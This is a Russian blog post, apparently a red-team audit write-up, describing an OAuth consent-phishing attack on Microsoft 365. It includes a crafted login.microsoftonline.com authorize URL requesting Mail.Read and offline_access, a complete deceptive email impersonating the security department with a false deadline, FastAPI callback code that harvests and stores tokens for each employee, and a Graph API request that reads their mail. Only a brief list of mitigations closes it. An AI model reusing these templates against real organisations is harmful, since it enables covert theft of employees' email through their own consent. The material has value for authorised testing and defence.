惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Jina AI
Jina AI
Hugging Face - Blog
Hugging Face - Blog
博客园 - 三生石上(FineUI控件)
博客园 - 【当耐特】
大猫的无限游戏
大猫的无限游戏
IT之家
IT之家
宝玉的分享
宝玉的分享
WordPress大学
WordPress大学
有赞技术团队
有赞技术团队
Apple Machine Learning Research
Apple Machine Learning Research
酷 壳 – CoolShell
酷 壳 – CoolShell
阮一峰的网络日志
阮一峰的网络日志
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
爱范儿
爱范儿
小众软件
小众软件
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
The Cloudflare Blog
S
SegmentFault 最新的问题
博客园 - Franky
博客园_首页
T
Tailwind CSS Blog
雷峰网
雷峰网
罗磊的独立博客

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания
Нажал «Принять» — и забыл. А мы уже внутри
Фишт · 2026-05-31 · via Все публикации подряд на Хабре

Нажал «Принять» — и забыл. А мы уже внутри

Средний

7 мин

9.6K

В рамках проведения внутреннего аудита информационной безопасности (Red Team) перед нами стояла задача найти новые вектора атаки на инфраструктуру компании. Мы знали, что все оконечные устройства оснащены EDR с поведенческим анализом. На периметре не было уязвимых сервисов или других точек входа. Решили сосредоточить свои усилия в рамках данного тестирования на сотрудниках компании, реализовать фишинговую компанию. Почтовый сервер — Microsoft Office 365. Наличие EDR на оконечные устройства сразу исключило классические методы с вредоносными вложениями - исполняемые файлы, макросы или эксплойты для Office были бы либо заблокированы, либо мгновенно обнаружены. Поэтому мы выбрали тактику: атаку не на уязвимости клиентского ПО, а на сам процесс авторизации OAuth 2.0 в Office 365, с целью получения содержимого почтовых ящиков без единого вредоносного файла.

Тактику, которую мы выбрали, известна как OAuth 2.0 authorization code flow. Мы не отправляли ссылку на поддельную страницу входа. Вместо этого мы заставили пользователя нажать кнопку «Принять» внутри легитимного окна Microsoft, после чего с помощью API спокойно читали его почту.

Ключевая особенность экосистемы Microsoft 365 заключается в том, что она построена на Azure Active Directory. Любое внешнее приложение может получить доступ к данным пользователя, если получит его явное согласие (consent) и токен. Этим мы и воспользовались.

Для начала на портале Azure AD в разделе «Регистрация приложений» (App registrations) мы создали новое приложение с типом «Web».

  1. Перешли на портал Azure AD → «Регистрация приложений» (App registrations).

  2. Создали приложение с типом «Web».

  3. В качестве URI перенаправления (redirect_uri) указали: https://myJiracallback.com/callback

  4. Сгенерировали client_secret и получили client_id

Далее мы сформировали специальную ссылку, ведущую не на поддельный, а на самый настоящий сайт login.microsoftonline.com. Параметры этой ссылки включали наш client_id, тип ответа code, наш redirect_uri, а самое главное - набор запрашиваемых разрешений (scope): Mail.Read (чтение писем, тел и вложений), offline_access (позволяет получить refresh_token для долгосрочного доступа).

https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=11111111-aaaa-2222-bbbb-333333333333
&response_type=code
&redirect_uri=https://myJiracallback.com/callback
&response_mode=query
&scope=Mail.Read%20offline_access
&state=уникальный_идентификатор_пользователя```

Помимо публично common существуют еще organizations,consumers или {tenant} конкретной организации. Ниже представлена таблица с описанием параметров запросов.

Parameter

Required/optional

Description

tenant

required

The {tenant} value in the path of the request can be used to control who can sign into the application. Valid values are common, organizations, consumers, and tenant identifiers. For more information, see Endpoints.

client_id

required

The Application (client) ID that the Microsoft Entra admin center – App registrations page assigned to your app.

scope

optional

A space-separated list of scopes. The scopes must all be from a single resource, along with OIDC scopes (profile, openid, email). For more information, see Permissions and consent in the Microsoft identity platform. This parameter is a Microsoft extension to the authorization code flow, intended to allow apps to declare the resource they want the token for during token redemption.

code

required

The authorization_code that you acquired in the first leg of the flow.

redirect_uri

required

The same redirect_uri value that was used to acquire the authorization_code.

grant_type

required

Must be authorization_code for the authorization code flow.

code_verifier

recommended

The same code_verifier that was used to obtain the authorization_code. Required if PKCE was used in the authorization code grant request. For more information, see the PKCE RFC.

client_secret

required for confidential web apps

The application secret that you created in the app registration portal for your app. Don't use the application secret in a native app or single page app because a client_secret can't be reliably stored on devices or web pages. It's required for web apps and web APIs, which can store the client_secret securely on the server side. Like all parameters here, the client secret must be URL-encoded before being sent. This step is done by the SDK. For more information on URI encoding, see the URI Generic Syntax specification. The Basic auth pattern of instead providing credentials in the Authorization header, per RFC 6749 is also supported.

Ссылка была минимизирована через сервис коротких ссылок и внедрена в тело обычного текстового письма.

Уважаемые коллеги,
Отдел информационной безопасности совместно с ИТ-департаментом внедряет единое окно аутентификации (SSO) для всех корпоративных веб-сервисов.
Теперь для входа в Jira, Confluence, SharePoint и другие платформы не нужно будет запоминать отдельные пароли — достаточно одного корпоративного аккаунта Microsoft 365.
Чтобы активировать новую возможность для вашей учётной записи, выполните всего одно действие:
URL
Если вы не активируете подключение до 30 мая, доступ к Jira и Confluence будет временно ограничен.

Когда сотрудник нажимал «Принять» (Accept) в окне разрешений Microsoft, браузер перенаправляет code на myJiracallback.com/callback?code=0.AX...&state=user1.

Чтобы понять как работает данная схема подробно опишем шаги которые необходимо сделать для авторизации нативного приложения (Native App) для доступа к Web API с использованием протокола OAuth 2.0.

Этап

Действие

Что происходит

1

Получение письма пользователем

Пользователь открывает письмо браузере ** с адресом login.microsoftonline.com

2

Аутентификации + Согласие пользователя

В браузере входит в учётную запись и даёт согласие

3

Браузер пользователя редиректит на наш сервер authorization code

Возвращается authorization code (одноразовый код)

4

Делаем запрос к Microsoft для получения access token и refresh token

Наш сервис отправляет authorization code,client_secret,client_id на сервер Microsoft

5

Получаем access token и refresh token

Сервер Microsoft отдаёт access token и refresh token (долгоживущий)

6

Используя access token делаем запрос к почтовому сервису.

Наш сервис вызывает API, передавая access token в заголовке Authorization

Обновление Access token

Access token истекает

1

Отправляем запрос в Microsoft

Приложение отправляет refresh token (вместе с client_id)

2

Получаем данные от Microsoft

Сервер выдаёт новый access token + новый refresh token

Шаги 1,2 делает пользователь, а все остальные шаги 3-6 делаем мы.

Нам нужен был массовый сбор ответов, поэтому мы подняли простой веб-сервер на FastAPI

`@app.get("/callback")
 async def oauth_callback(code: str, state: str = None):
    # Обмениваем код на токен
    token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"    
    data = {
        "client_id": CLIENT_ID,
        "client_secret": CLIENT_SECRET,
        "code": code,
        "redirect_uri": REDIRECT_URI,
        "grant_type": "authorization_code",
    }    
    response = requests.post(token_url, data=data)
    tokens = response.json()    
    save_to_db(state, tokens)  # сохраняем в БД с меткой сотрудника

В ответ от Microsoft приходил JSON-объект, содержащий три ключевых элемента: access_token (живет около часа), refresh_token (живет до 90 дней) и список выданных scope. Мы сохраняли эти токены в базе данных с привязкой к идентификатору сотрудника из параметра state.

{
access_token": "eyJ0eXAKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5HVEZ2ZEstZnl0aEV1Q...", "token_type": "Bearer",
"expires_in": 3599,
"scope": "https%3A%2F%2Fgraph.microsoft.com%2Fmail.read",
"refresh_token": "AwABAAAAvPM1KaPlrEqdFSBzjqfTGAMxZGUTdM0t4B4...",
"id_token":"eyJ0eXAiOiJKV1QiLCJhGciOiJub25lIn0.eyJhdWQiOiIyZDRkMTFhMi1mODE0tOD..."
}

Ниже представлена таблица с описанием параметров ответа от Microsoft.

Parameter

Description

access_token

The requested access token. The app can use this token to authenticate to the secured resource, such as a web API.

token_type

Indicates the token type value. The only type that Microsoft Entra ID supports is Bearer.

expires_in

How long the access token is valid, in seconds.

scope

The scopes that the access_token is valid for. Optional. This parameter is non-standard and, if omitted, the token is for the scopes requested on the initial leg of the flow.

refresh_token

An OAuth 2.0 refresh token. The app can use this token to acquire other access tokens after the current access token expires. Refresh tokens are long-lived. They can maintain access to resources for extended periods. For more detail on refreshing an access token, refer to Refresh the access token later in this article. Note: Only provided if offline_access scope was requested.

id_token

A JSON Web Token. The app can decode the segments of this token to request information about the user who signed in. The app can cache the values and display them, and confidential clients can use this token for authorization. For more information about id_tokens, see the id_token reference. Note: Only provided if openid scope was requested.

Используя данные из нашей БД мы можем авторизовываться и читать почту пользователей.

headers = {"Authorization": f"Bearer {access_token}"}
resp = requests.get(
    "https://graph.microsoft.com/v1.0/me/messages?$top=100&$select=subject,receivedDateTime,from,hasAttachments&$orderby=receivedDateTime desc",
    headers=headers
)
emails = resp.json().get("value", [])

За два часа рассылки (в ней участвовало 300 сотрудников ) 132 человека (44%) перешли по ссылке, 98 из них (32,6%) нажали «Принять» в окне OAuth2 и предоставили доступ к своей почте. Люди предоставляют доступ к своим данным, если атака использует легитимный интерфейс Microsoft и не вызывает подозрений.
Меры реагирования

  1. Включить политику «User consent to apps» → Allow user consent for verified publishers only или Deny user consent второй вариант предпочтительней

  2. Настроить сбор логов Azure AD в SIEM с корреляцией Consent + массовый MailItemsAccessed

  3. Включить политику: доступ к Graph API только с гибридных устройств или через VPN.